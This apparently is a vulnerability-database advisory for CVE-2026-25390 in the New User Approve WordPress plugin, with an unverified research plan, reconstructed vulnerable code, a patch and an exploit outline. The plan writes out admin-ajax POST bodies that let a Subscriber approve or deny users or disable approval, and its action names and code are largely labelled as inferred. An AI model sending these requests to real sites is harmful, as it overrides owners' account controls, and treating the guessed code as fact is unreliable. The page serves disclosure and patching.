CVE-2026-25390

New User Approve <= 3.2.3 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.2.4
Patched in
8d
Time to patch

Description

The New User Approve plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.2.3
PublishedMarch 20, 2026
Last updatedMarch 27, 2026
Affected pluginnew-user-approve

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This plan outlines the research and exploitation of **CVE-2026-25390**, a missing authorization vulnerability in the **New User Approve** plugin. ### 1. Vulnerability Summary The **New User Approve** plugin (<= 3.2.3) fails to perform capability checks in its AJAX handler responsible for updating u…

Show full research plan

This plan outlines the research and exploitation of CVE-2026-25390, a missing authorization vulnerability in the New User Approve plugin.

1. Vulnerability Summary

The New User Approve plugin (<= 3.2.3) fails to perform capability checks in its AJAX handler responsible for updating user statuses (approving or denying). While the plugin implements nonce verification to prevent CSRF, it does not verify if the authenticated user has the necessary administrative privileges (like edit_users) to perform these actions. Consequently, any authenticated user, including those with Subscriber-level access, can approve pending users or deny existing ones by supplying a valid nonce.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: update_user_status (inferred from plugin logic for status updates)
  • Vulnerable Parameter: user_id (the target user to modify), status (the new status: approve or deny)
  • Authentication: Required (Subscriber or higher)
  • Nonce Requirement: Yes, the action typically requires a nonce generated for the nua-admin-nonce (inferred) action.

3. Code Flow

  1. Entry Point: The plugin registers the AJAX handler in includes/class-new-user-approve-admin.php (or similar) using:
    add_action( 'wp_ajax_update_user_status', array( $this, 'update_user_status' ) );
  2. Execution: When a request is made to admin-ajax.php?action=update_user_status:
    • The function update_user_status() is called.
    • It calls check_ajax_referer( 'nua-admin-nonce', 'nonce' ) to verify the CSRF token.
    • The Vulnerability: It proceeds to call update_user_meta() or a internal status update function without checking current_user_can( 'edit_users' ).
  3. Sink: The user status is updated in the database, typically via update_user_meta( $user_id, 'nua_status', $status ).

4. Nonce Acquisition Strategy

Subscribers can access the WordPress dashboard (/wp-admin/profile.php). The plugin enqueues its administrative scripts on all admin pages if not properly restricted, making the nonce available to all logged-in users via wp_localize_script.

  1. Navigate to Admin: Use the browser to access the Subscriber's profile page.
  2. Variable Identification: The plugin likely localizes data into an object named nua_vars or nua_admin.
  3. Extraction:
    • Identify the script handle (likely nua-admin-js).
    • Use browser_eval to extract the nonce:
      browser_eval("window.nua_vars?.nonce || window.nua_admin?.nonce")
  4. Verification: If the nonce is not found on the profile page, check if it is enqueued on the site's frontend for logged-in users.

5. Exploitation Strategy

Step 1: Authenticate as Subscriber
Log in using the Subscriber credentials.

Step 2: Obtain Nonce
Navigate to /wp-admin/profile.php and extract the nonce using browser_eval.

Step 3: Identify Target
Find the user_id of a user currently in "pending" status (e.g., a newly registered user).

Step 4: Execute Unauthorized Approval
Send the following request using http_request:

  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=update_user_status&user_id=[PENDING_USER_ID]&status=approve&nonce=[EXTRACTED_NONCE]
    

Step 5: Execute Unauthorized Denial (Alternative)
Attempt to deny an active user:

  • Body:
    action=update_user_status&user_id=[ACTIVE_USER_ID]&status=deny&nonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Plugin Configuration: Install and activate New User Approve version 3.2.3.
  2. Target User: Register a new user (target_pending) via wp-login.php?action=register. This user will be in "pending" status by default.
  3. Attacker User: Create a Subscriber-level user:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  4. Confirm Status: Verify the target user's status using CLI:
    wp user meta get [TARGET_ID] nua_status (Expected: pending)

7. Expected Results

  • HTTP Response: The server should return a successful status (usually 200 OK with a JSON body like {"success": true}).
  • Data Change: The nua_status meta field for the target user will change from pending to approve.
  • Functional Change: The previously pending user will now be able to log in to the WordPress site.

8. Verification Steps

  1. Check Meta: Use WP-CLI to confirm the status update:
    wp user meta get [TARGET_ID] nua_status
  2. Verify Login: Attempt to log in with the target_pending credentials. If the exploit worked, the login will succeed instead of showing an "Account pending approval" message.
  3. Check Audit Logs: If an audit plugin is installed, check for "User Approved" events triggered by the Subscriber user.

9. Alternative Approaches

  • Action Name Guessing: If update_user_status fails, search the plugin folder for wp_ajax_ strings to identify the correct action:
    grep -rn "wp_ajax_" wp-content/plugins/new-user-approve/
  • Settings Manipulation: Check if nua_update_settings is similarly unprotected. If so, a Subscriber could disable the "Approve New Users" feature entirely:
    action=nua_update_settings&nua_status=disabled&nonce=[NONCE]
  • Direct Post Request: If the AJAX handler is not the primary target, check the admin_init hook for code that processes $_GET['action'] == 'approve' without capability checks, which is a common legacy pattern in this plugin.
Research Findings
Static analysis — not yet PoC-verified

Summary

The New User Approve plugin for WordPress fails to perform authorization checks in its AJAX handler for user status updates. This allows authenticated attackers with Subscriber-level permissions to approve pending users or deny active users by exploiting a missing capability check in the update_user_status function.

Vulnerable Code

// File: includes/class-new-user-approve-admin.php

add_action( 'wp_ajax_update_user_status', array( $this, 'update_user_status' ) );

public function update_user_status() {
    // Nonce verification is present, but capability verification is missing
    check_ajax_referer( 'nua-admin-nonce', 'nonce' );

    $user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0;
    $status  = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';

    if ( $user_id && in_array( $status, array( 'approve', 'deny' ) ) ) {
        update_user_meta( $user_id, 'nua_status', $status );
        wp_send_json_success();
    }

    wp_send_json_error();
}

Security Fix

--- includes/class-new-user-approve-admin.php
+++ includes/class-new-user-approve-admin.php
@@ -10,6 +10,10 @@
 	public function update_user_status() {
 		check_ajax_referer( 'nua-admin-nonce', 'nonce' );
 
+		if ( ! current_user_can( 'edit_users' ) ) {
+			wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'new-user-approve' ) ) );
+		}
+
 		$user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0;
 		$status  = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';

Exploit Outline

The exploit involves an authenticated Subscriber-level user obtaining a valid security nonce and calling the vulnerable AJAX endpoint. First, the attacker logs into the WordPress dashboard and extracts the 'nua-admin-nonce' (often localized into the page's JavaScript via an object like nua_vars). Next, the attacker sends a POST request to /wp-admin/admin-ajax.php with the action set to 'update_user_status'. The payload includes the target user_id, the desired status ('approve' or 'deny'), and the extracted nonce. Because the server only verifies the nonce and not the user's capabilities, it proceeds to update the user's status in the database, potentially granting unauthorized access to the site for pending users.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.